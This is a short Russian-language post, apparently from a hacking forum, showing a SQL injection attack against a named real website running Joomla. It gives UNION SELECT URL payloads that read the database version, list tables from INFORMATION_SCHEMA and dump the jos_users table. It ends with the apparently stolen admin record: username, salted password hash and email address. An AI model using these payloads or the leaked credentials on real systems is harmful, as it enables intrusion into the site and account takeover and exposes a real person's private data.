http://www.hat.kz/?order=3&category=-1+union+select+1,2,3,version(),5,6,7--

5 ветка

http://www.hat.kz/?order=3&category=-1+union+select+1,2,3,concat(table_name,char(58),ta ble_schema),5,6,7+from+INFORMATION_SCHEMA.tables--

joomla)

jos_users:hatkz_autosapa - видим что таблица пользователей находится в бд hatkz_autosapa

и поэтому:

http://www.hat.kz/?order=3&category=-1+union+select+1,2,3,concat(username,char(58),pass word,char(58),email),5,6,7+from+hatkz_autosapa.jos _users--

admin:0cc399da4fb1e5952f2b30c0bd84d6ad:1vt3X6E9loX O5f9W:auto@sapa.kz